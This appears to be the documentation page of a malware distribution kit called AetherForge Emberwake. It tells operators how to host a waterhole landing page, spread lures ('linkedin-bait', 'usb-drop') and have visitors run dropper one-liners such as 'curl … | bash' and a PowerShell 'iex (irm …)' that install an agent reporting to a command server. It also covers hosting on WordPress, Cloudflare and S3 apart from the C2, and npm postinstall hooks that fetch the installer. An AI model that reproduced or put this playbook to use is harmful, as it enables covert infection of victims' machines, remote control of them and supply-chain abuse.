AetherForge · Emberwake

Spread kit — static waterhole landing

Upload this folder to any host you control. Visitors pick their platform; installers pull from your command-deck server with optional campaign and build-pin tracking.

How it works

Lure / ad / email → Your static page → install.ps1 / .sh / .command → Server /get → Agent checks in

The page does not host binaries — it only links to your AetherForge server dropper endpoints. Campaign tags flow from the URL into installer scripts and appear in the fleet dashboard on first connect.

Operator — 3 steps

Forge & pin Build an installer in the command deck. Pin the build you want for this wave (Builds → pin). Note the build UUID for A/B tests.
Export or sync Emberwake → set server URL + campaign → Export spread kit ZIP, or copy spread-kit-web-publisher/ and replace placeholders. Upload all files to your static host root or subpath.
Share with tracking Distribute https://yoursite/page?c=campaign-slug. Watch hits under Emberwake → Campaign hits and agent campaign metadata.

Platform install

Auto-highlights your OS. All links include configured server URL and query suffix from export.

Windows

PowerShell dropper — downloads pinned build or latest Windows artifact via /get?os=windows.

Run install.ps1

Linux

Shell dropper for desktops and servers — pipes install.sh from your command deck.

Run install.sh

macOS

Double-click .command or curl one-liner; same pipeline as Linux with macOS UA routing.

Run install.command

Server (curl)

Headless VPS / CI — paste in SSH session. No browser required.

Direct /get download

One-liners

Copy for docs pages, tickets, or IRC.

curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash powershell -ep bypass -c "iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')"

Campaign tracking

Append query parameters to any waterhole URL, dropper script URL, or /get link. The server logs the hit; agents inherit the campaign on install.

?c= campaign slug

  • Tags the funnel wave — e.g. ?c=linkedin-bait
  • Shown in Emberwake → Campaign hits
  • Stored on agent as campaign metadata
  • Slug: alphanumeric, dash, underscore, dot — max 64 chars

?pin= build UUID

  • Locks dropper to a specific forged build
  • Use for A/B: pin build A, share ?pin=<uuid-a>&c=wave-a
  • Combine with ?c=: ?pin=…&c=…
  • Emberwake campaign builder copies ready-made links
Example URLUse
https://yoursite.example/?c=usb-drop Static page; scripts read location.search
{{SERVER_URL}}/get?c=docs-footer Direct binary fetch with attribution
{{SERVER_URL}}/install.ps1?pin={{BUILD_ID}}&c=ab-test-b Pinned build + campaign on PS1 one-liner

Tip See campaigns/README.md in the kit ZIP for rotation playbooks. Operator playbook: Spread Techniques · research matrix: SPREAD_TECHNIQUES.md.

CMS & static host upload

Deploy the entire kit folder (or exported ZIP contents) to a origin you control — off the C2 host when possible.

  1. WordPress — Custom HTML block

    Pages → Add block → Custom HTML. Upload index.html assets via Media Library or paste a trimmed hero + platform section. Host install.ps1 / install.sh in the same directory via SFTP or a child theme /spread/ folder. Link buttons to absolute URLs on that path. Keep assets/aether.css relative.

  2. Cloudflare Pages

    Create project → connect repo or drag-drop ZIP → set build output to kit root. Publish at pages.dev or your zone CNAME. No server config — pure static. Optional: Workers in front for geo/UA gate (see docs wiki).

  3. Amazon S3 + CloudFront

    Create bucket → enable static website or OAI to CloudFront → upload all kit files preserving assets/ path. Set index.html as default root object. Invalidate cache after each Emberwake export. Use a separate bucket from command-deck artifacts.

After upload, test each platform button and verify campaign hits in Emberwake when appending ?c=test to the live URL.

Plugin supply chain (owned extension)

For browser, editor, WordPress, or npm packages you publish, ship a legitimate update package that points download/install flows at your server — not third-party registry hijacking.

High-level pattern

  • WordPress (owned site): Emberwake → Export WordPress Plugin ZIP → upload on your WP host. Plugin links to /get?c=wp-{site}. Docs wiki §
  • npm (your registry): Emberwake → Export npm package template ZIP → publish privately; postinstall curls install.sh. Docs wiki §
  • Host your own plugin ZIP on the same static origin as this kit (or GitHub Releases you control).
  • Manifest / update URL fields reference your install.ps1 or /get endpoint with ?c=plugin-update.
  • Extension logic opens your spread landing or triggers the platform dropper — user still confirms install (modern browsers block silent sideload).
  • Rotate update manifests between waves; pin builds with ?pin= for staged rollouts.
  • Keep signing keys and update XML on infrastructure separate from the command-deck process when possible.

Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels you operate. See third-party platforms in the spread playbook for risk notes.